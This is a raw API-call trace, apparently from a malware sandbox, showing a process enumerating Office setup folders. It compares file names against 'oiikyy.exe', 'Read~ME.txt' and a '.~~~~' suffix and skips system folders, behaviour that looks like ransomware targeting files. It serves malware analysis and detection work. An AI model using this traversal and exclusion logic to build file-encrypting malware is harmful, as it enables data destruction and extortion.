	[0075.710] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.710] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.710] GetCurrentThreadId () returned 0x618
	[0075.710] RtlWakeConditionVariable () returned 0x365f48
	[0075.721] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0075.721] lstrcmpiW (lpString1="Office32.WW", lpString2="Windows") returned -1
	[0075.721] lstrcmpW (lpString1="Office32.WW", lpString2=".") returned 1
	[0075.721] lstrcmpW (lpString1="Office32.WW", lpString2="..") returned 1
	[0075.721] lstrcmpW (lpString1="Office32.WW", lpString2="AppData") returned 1
	[0075.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", lpSrch="AppData") returned 0x0
	[0075.721] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.721] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", lpString2="C:\\Windows") returned -1
	[0075.721] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.721] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", lpString2="C:\\System Volume Information") returned -1
	[0075.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.781] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.781] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.781] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.781] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.781] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.781] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.781] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.781] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.781] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.781] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.781] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.781] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.782] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0075.782] lstrcmpiW (lpString1="Office32WW.XML", lpString2="Windows") returned -1
	[0075.782] lstrcmpW (lpString1="Office32WW.XML", lpString2="oiikyy.exe") returned -1
	[0075.782] StrStrW (lpFirst="Office32WW.XML", lpSrch=".~~~~") returned 0x0
	[0075.782] lstrcmpW (lpString1="Office32WW.XML", lpString2="Read~ME.txt") returned -1
	[0075.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.782] GetCurrentThreadId () returned 0x618
	[0075.782] RtlWakeConditionVariable () returned 0x365f48
	[0075.782] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0
	[0075.782] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.782] GetCurrentThreadId () returned 0x618
	[0075.782] RtlWakeConditionVariable () returned 0x365f48
	[0075.784] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0075.784] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Windows") returned -1
	[0075.784] lstrcmpW (lpString1="OneNote.en-us", lpString2=".") returned 1
	[0075.784] lstrcmpW (lpString1="OneNote.en-us", lpString2="..") returned 1
	[0075.784] lstrcmpW (lpString1="OneNote.en-us", lpString2="AppData") returned 1
	[0075.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", lpSrch="AppData") returned 0x0
	[0075.784] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.785] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", lpString2="C:\\Windows") returned -1
	[0075.785] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.785] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.956] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.956] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.956] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.956] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.956] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.956] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.956] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.956] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.956] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.957] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.957] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.957] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.957] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0075.957] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="Windows") returned -1
	[0075.957] lstrcmpW (lpString1="OneNoteMUI.XML", lpString2="oiikyy.exe") returned 1
	[0075.957] StrStrW (lpFirst="OneNoteMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.957] lstrcmpW (lpString1="OneNoteMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fadf8
	[0075.957] GetCurrentThreadId () returned 0x618
	[0075.957] RtlWakeConditionVariable () returned 0x365f48
	[0075.957] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.957] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.957] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.957] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.957] GetCurrentThreadId () returned 0x618
	[0075.957] RtlWakeConditionVariable () returned 0x365f48
	[0075.957] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.957] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.958] GetCurrentThreadId () returned 0x618
	[0075.958] RtlWakeConditionVariable () returned 0x365f48
	[0075.958] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x2, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0075.958] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="Windows") returned -1
	[0075.958] lstrcmpW (lpString1="OSETUP.DLL", lpString2="oiikyy.exe") returned 1
	[0075.958] StrStrW (lpFirst="OSETUP.DLL", lpSrch=".~~~~") returned 0x0
	[0075.958] lstrcmpW (lpString1="OSETUP.DLL", lpString2="Read~ME.txt") returned -1
	[0075.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0075.958] GetCurrentThreadId () returned 0x618
	[0075.958] RtlWakeConditionVariable () returned 0x365f48
	[0075.958] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x2, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1
	[0075.958] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="Windows") returned -1
	[0075.958] lstrcmpW (lpString1="OSetupPS.dll", lpString2="oiikyy.exe") returned 1
	[0075.958] StrStrW (lpFirst="OSetupPS.dll", lpSrch=".~~~~") returned 0x0
	[0075.958] lstrcmpW (lpString1="OSetupPS.dll", lpString2="Read~ME.txt") returned -1
	[0075.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x39e580
	[0075.958] GetCurrentThreadId () returned 0x618
	[0075.958] RtlWakeConditionVariable () returned 0x365f48
	[0075.958] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1
	[0075.958] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Windows") returned -1
	[0075.958] lstrcmpW (lpString1="Outlook.en-us", lpString2=".") returned 1
	[0075.959] lstrcmpW (lpString1="Outlook.en-us", lpString2="..") returned 1
	[0075.959] lstrcmpW (lpString1="Outlook.en-us", lpString2="AppData") returned 1
	[0075.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", lpSrch="AppData") returned 0x0
	[0075.959] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.959] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", lpString2="C:\\Windows") returned -1
	[0075.959] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.959] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.981] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.981] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.981] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.981] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.981] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.981] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0075.981] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.981] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.981] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.981] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.981] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.981] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.981] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0075.981] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="Windows") returned -1
	[0075.981] lstrcmpW (lpString1="OutlookMUI.XML", lpString2="oiikyy.exe") returned 1
	[0075.981] StrStrW (lpFirst="OutlookMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.981] lstrcmpW (lpString1="OutlookMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa6b8
	[0075.981] GetCurrentThreadId () returned 0x618
	[0075.981] RtlWakeConditionVariable () returned 0x365f48
	[0075.981] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.981] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.981] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.981] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.981] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.982] GetCurrentThreadId () returned 0x618
	[0075.982] RtlWakeConditionVariable () returned 0x365f48
	[0075.982] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.982] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.982] GetCurrentThreadId () returned 0x618
	[0075.982] RtlWakeConditionVariable () returned 0x365f48
	[0075.982] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0075.982] lstrcmpiW (lpString1="pidgenx.dll", lpString2="Windows") returned -1
	[0075.982] lstrcmpW (lpString1="pidgenx.dll", lpString2="oiikyy.exe") returned 1
	[0075.982] StrStrW (lpFirst="pidgenx.dll", lpSrch=".~~~~") returned 0x0
	[0075.982] lstrcmpW (lpString1="pidgenx.dll", lpString2="Read~ME.txt") returned -1
	[0075.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0075.982] GetCurrentThreadId () returned 0x618
	[0075.982] RtlWakeConditionVariable () returned 0x365f48
	[0075.982] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0075.982] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1
	[0075.982] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="oiikyy.exe") returned 1
	[0075.982] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".~~~~") returned 0x0
	[0075.982] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Read~ME.txt") returned -1
	[0075.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.982] GetCurrentThreadId () returned 0x618
	[0075.982] RtlWakeConditionVariable () returned 0x365f48
	[0075.982] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x2, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1
	[0075.982] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="Windows") returned -1
	[0075.983] lstrcmpW (lpString1="pkeyconfig.companion.dll", lpString2="oiikyy.exe") returned 1
	[0075.983] StrStrW (lpFirst="pkeyconfig.companion.dll", lpSrch=".~~~~") returned 0x0
	[0075.983] lstrcmpW (lpString1="pkeyconfig.companion.dll", lpString2="Read~ME.txt") returned -1
	[0075.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0075.983] GetCurrentThreadId () returned 0x618
	[0075.983] RtlWakeConditionVariable () returned 0x365f48
	[0075.983] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1
	[0075.983] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Windows") returned -1
	[0075.983] lstrcmpW (lpString1="PowerPoint.en-us", lpString2=".") returned 1
	[0075.983] lstrcmpW (lpString1="PowerPoint.en-us", lpString2="..") returned 1
	[0075.983] lstrcmpW (lpString1="PowerPoint.en-us", lpString2="AppData") returned 1
	[0075.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", lpSrch="AppData") returned 0x0
	[0075.983] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.983] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", lpString2="C:\\Windows") returned -1
	[0075.983] lstrlenW (lpString="C:\\System Volume Information") returned 28
